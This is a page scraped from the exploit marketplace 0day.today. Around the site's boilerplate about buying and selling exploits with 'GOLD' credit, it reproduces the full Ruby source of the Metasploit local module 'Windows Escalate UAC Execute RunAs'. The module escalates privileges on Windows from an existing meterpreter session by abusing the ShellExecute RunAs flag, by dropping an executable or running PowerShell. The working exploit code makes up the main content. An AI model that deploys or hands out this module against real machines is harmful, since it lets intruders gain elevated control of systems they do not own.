0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Windows Escalate UAC Execute RunAs Exploit
[##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate UAC Execute RunAs',
'Description' => %q(
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
),
'License' => MSF_LICENSE,
'Author' => [
'mubix', # Original technique
'b00stfr3ak' # Added powershell option
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-01-03'
))
register_options([
OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
])
end
def exploit
if is_uac_enabled?
print_status 'UAC is Enabled, checking level...'
case get_uac_level
when UAC_NO_PROMPT
print_good 'UAC is not enabled, no prompt for the user'
else
print_status "The user will be prompted, wait for them to click 'Ok'"
end
else
print_good 'UAC is not enabled, no prompt for the user'
end
case datastore['TECHNIQUE']
when 'EXE'
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
when 'PSH'
shell_execute_psh
end
end
end
# 0day.today [2024-09-20] #